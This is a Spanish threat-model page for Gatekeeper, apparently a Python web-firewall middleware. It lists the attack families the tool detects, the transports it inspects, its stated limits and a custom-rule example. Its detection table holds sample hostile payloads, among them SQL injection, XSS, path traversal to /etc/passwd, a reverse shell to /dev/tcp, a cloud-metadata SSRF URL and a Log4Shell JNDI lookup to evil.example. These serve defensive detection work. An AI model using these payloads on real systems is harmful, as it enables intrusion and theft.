Saltar a contenido

Modelo de amenazas

Este documento es la fuente de verdad sobre qué ataques afirma detectar Gatekeeper, con qué firma, y hasta dónde llega cada familia. No es marketing: cada fila incluye la frontera de falsos positivos, que es donde se decide si una firma es usable o no. El resumen ejecutivo está en Seguridad; las mediciones, en Detección y medición.

Supuesto de atacante

Un recurso HTTP expuesto a Internet (o a una red hostil) delante del que no hay un WAF gestionado. El atacante controla:

  • el path y la query string de la petición;
  • los valores de las cabeceras inspeccionadas (user-agent, referer, cookie, x-forwarded-for por defecto; configurable);
  • el body textual (JSON, form-urlencoded, texto plano) hasta 256 KiB, con un presupuesto de campos y de tiempo de inspección.

El atacante no controla el backend, la base de datos ni la red interna. Gatekeeper inspecciona la petición antes de que llegue a tu handler; si pasa, tu app recibe un input que puede ser malicioso y sigue necesitando consultas parametrizadas y validación.

Familias detectadas

Once familias, todas medidas contra el corpus propio (160/160, 0 falsos positivos sin documentar). El nombre entre paréntesis es el valor para disabled_rules.

Familia Qué detecta Ejemplo de payload Frontera: qué NO bloquea
sqli UNION, tautologías, stacked queries, time/error-based, subconsultas, xp_cmdshell 1 UNION SELECT password FROM users «union station», «order by date» sin número; union all sin contexto de consulta detrás; waitfor delay sin literal de tiempo; like null sin cierre del payload; sleep(5) en prosa (FP documentado benign-009)
xss Etiquetas, handlers de eventos, javascript: y data:text/html, iframes, entidades HTML numéricas y nombradas, esquemas con tab/NL (java\tscript:) <script>alert(1)</script>, &lt;script&gt; «javascript:» en prosa (FP documentado benign-012); <script> en prosa ya no bloquea: solo salta con atributos, con etiqueta de cierre o seguido de algo que no puede ser prosa
path_traversal ../, codificado (simple, doble, sobre-long UTF-8), rutas absolutas sensibles ../../etc/passwd, ..%c0%af..%c0%afetc/passwd %2e%2e%2f doblemente codificado en prosa (FP documentado benign-049)
sensitive_files Rutas que no deberían servirse nunca: /etc/(passwd,shadow,group), /proc/self, win.ini, .ssh/, .aws/, .docker/, .git/, .env, WEB-INF/ /home/user/.ssh/id_rsa «.env» suelto sin separador de ruta
nosql Operadores de inyección Mongo: $ne, $nin, $where, $regex, $or, $exists, siempre dentro de un objeto JSON o de un parámetro ([$ne], "$ne", $ne=) user[$ne]=x, {"user": {"$ne": ""}} $gt/$lt/$in quedan fuera a propósito: los filtros legítimos pasados por HTTP ({"price": {"$gt": 10}}, benign-017/063) los usan. Un operador citado en prosa (un tutorial de MongoDB) tampoco bloquea. Si tu API expone filtros con $ne, desactiva la familia
cmdi Separador shell + binario de lista cerrada (; ls, \| cat, && whoami, $(id), `uname`, además de touch, echo, tee, awk, find, xargs, nohup, timeout, busybox, php, node, telnet, ssh…), LOLBins de Windows (powershell.exe), webshells PHP (;system(') y funciones raras (shell_exec(), reverse shell /dev/tcp/ ; ls -la /tmp, bash -i >& /dev/tcp/10.0.0.1/4444 Binarios sin separador delante («curl vs wget», benign-065); ;type=json es separador de parámetros, no comando (benign-069); eval(2+2) en prosa sin separador
ssrf IPs de metadata cloud (AWS/GCP/Azure/Alibaba, IMDS y ECS) y esquemas de lectura local (file://, gopher://, dict://, jar://, netdoc://, tftp://) http://169.254.169.254/latest/meta-data/ localhost y 127.0.0.1 no se bloquean: OAuth de desarrollo y webhooks locales son legítimos (benign-066). Una IP de loopback codificada en decimal sí es sospechosa
ssti Aritmética canónica de plantillas ({{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}) y acceso a objetos peligrosos (config, self, request, __class__, __subclasses__) {{config.items()}} {{user.name}} o ${HOME} (plantillas de cliente y variables de entorno, benign-064/068)
crlf Salto de línea seguido de nombre de cabecera: response splitting e inyección de cabeceras (CRLF reales decodificados de %0d%0a y literales \\r\\n) a\r\nSet-Cookie: admin=1 Todo texto multilínea sin cabecera detrás: «set-cookie» como palabra suelta no bloquea (benign-067)
log4shell ${jndi:…} (ldap/rmi/dns/iiop/corba), ofuscaciones con decoys (${${::-j}ndi:), JNDI sin envoltorio y lookups de exfiltración (${env:AWS_SECRET…}) ${jndi:ldap://evil.example/a} No hay uso legítimo conocido de jndi en valores de request
proto_pollution __proto__ en cualquier posición y constructor.prototype __proto__[isAdmin]=true «constructor» solo no bloquea (benign-072); búsquedas documentales sobre __proto__ sí (FP documentado benign-071)

Cada familia se puede desactivar con disabled_rules, limitar con rule_packs o ajustar campo a campo con exclude_fields (ver Referencia (API)). Ajustar el campo, no la familia, es lo que preserva el resto de la cobertura.

Transportes inspeccionados

Transporte Inspección Notas
Path y query Siempre Incluye el path completo (/api/v1/<payload> es vector)
Cabeceras user-agent, referer, cookie, x-forwarded-for por defecto Configurable con inspect_headers; añade las tuyas si tu app las lee
Body JSON/text/form Hasta max_body_size (256 KiB) Soporta descompresión gzip/deflate acotada (hasta 3 capas; 413 si excede max_body_size); un application/octet-stream se sniffea (UTF-8/16/32) si parece JSON
Body multipart Hasta max_body_size (256 KiB) Se inspeccionan los nombres de campo y de fichero, no el contenido de los ficheros (inspect_multipart)
Body sin Content-Length Se lee con límite 413 si el stream supera max_body_size
Presupuesto de campos max_fields (1000 textos) 413 si se supera: el coste de inspeccionar escala con los campos, no con los bytes
Presupuesto de tiempo max_inspection_ms (1000 ms) 413 si la inspección lo supera (red de seguridad)
Handshake de WebSocket Ruta, query y cabeceras El rate limit también se aplica; los frames no se inspeccionan (inspect_websockets)

Qué NO cubre Gatekeeper

Esto no son carencias por arreglar: son las fronteras del diseño.

  • Autenticación, autorización, CSRF y lógica de negocio. Son del handler.
  • Validación semántica. Gatekeeper ve firmas, no significado: un JSON enorme pero inocuo pasa; una consulta SQL construida a mano desde tu app también (eso es de las consultas parametrizadas).
  • Payload repartido entre transportes. Sin inspect_cross_carrier=True, un ataque repartido entre query y body, con cada parte inocua, pasa la inspección. Query y cabeceras siguen analizándose por separado. La opción de cruce combina query con valores textuales no excluidos del body; no incluye claves JSON ni cabeceras.
  • Un body que la aplicación interpreta de una forma que el Content-Type no anuncia. Gatekeeper decide cómo inspeccionar el body según el Content-Type (y, si no cuadra, inspecciona el texto crudo). Si tu aplicación parsea el body por su cuenta de otra manera, Gatekeeper no puede saberlo: no es un fallo suyo, es el límite de ser una capa por delante. Di el Content-Type correcto y los dos miran lo mismo.
  • Los tests diferenciales (tools/diferencial_body.py) comprueban exactamente esto en 26 cuerpos borde, contra Starlette y FastAPI, y en cada versión de la matriz de compatibilidad.
  • El contenido de los ficheros adjuntos. De un multipart/form-data se inspeccionan los nombres de campo y de fichero (ahí van los ../../etc/passwd y los payloads en el nombre), pero el contenido del fichero no: es binario, y un WAF no puede saber qué hay dentro sin leer el fichero entero. Sanea en la app lo que suba tu usuario.
  • Los frames de un WebSocket. Del handshake se inspeccionan la ruta, la query y las cabeceras, y el rate limit se aplica igual que en HTTP; los mensajes posteriores no se inspeccionan.
  • Binarios que no son JSON. Un image/png o un application/pdf no se leen ni se sniffean. Solo se sniffea el content-type genérico (application/octet-stream), que es el que usa una app que manda JSON sin decirlo.
  • WAF gestionado. Gatekeeper no sustituye a ModSecurity/CRS ni a Cloudflare en un perímetro; mide contra CRS como referencia externa y pierde de largo (ver medición). Es una capa adicional con coste cero.
  • Firmas desconocidas. Detección por patrones: cualquier evasión que no normalizamos (otra codificación, otro motor de plantilla) no se ve. Por eso el corpus y las fronteras FP están publicados: puedes medir tus propias firmas con tools/evaluate.py.

Cómo se mantiene honesto este modelo

  • Todo payload de esta página está en corpus/attacks.json y se exige 100% de detección en CI (python tools/evaluate.py --check). Una firma que se declara pero no se mide no entra.
  • Toda frontera de la tabla tiene su negativo en corpus/benign.json: los casos que deliberadamente no bloqueamos están medidos y en el informe.
  • Los falsos positivos que aceptamos están listados en corpus/REPORT.md con su motivo (hoy 9: texto técnico que cita el vector). Nada se esconde detrás de «0 FP».
  • Las reglas personalizadas no están acotadas contra ReDoS (las integradas sí); revisa tus patrones.

Añadir tu propia familia

Si tu app tiene vectores propios (WP probes, firmas internas), añádelos como reglas personalizadas sin esperar a un release:

from gatekeeper import Config

config = Config(custom_rules={
    "wp-probe": r"wp-login\.php",
    "backup-leak": r"\.(?:sql|bak|old)\.zip\b",
})

Y se le pasa al middleware: app.add_middleware(GatekeeperMiddleware, config=config).

custom_rules son patrones como texto ({nombre: regex} o [{name, pattern}]), no objetos re.Pattern: se compilan al arrancar, que es donde se validan contra el ReDoS.

Las reglas personalizadas pasan por la misma normalización que las integradas (decodificación, NFKC, comentarios SQL), y se pueden desactivar con disabled_rules. Midelas contra tu tráfico en modo monitor antes de bloquear.


Siguiente: Seguridad →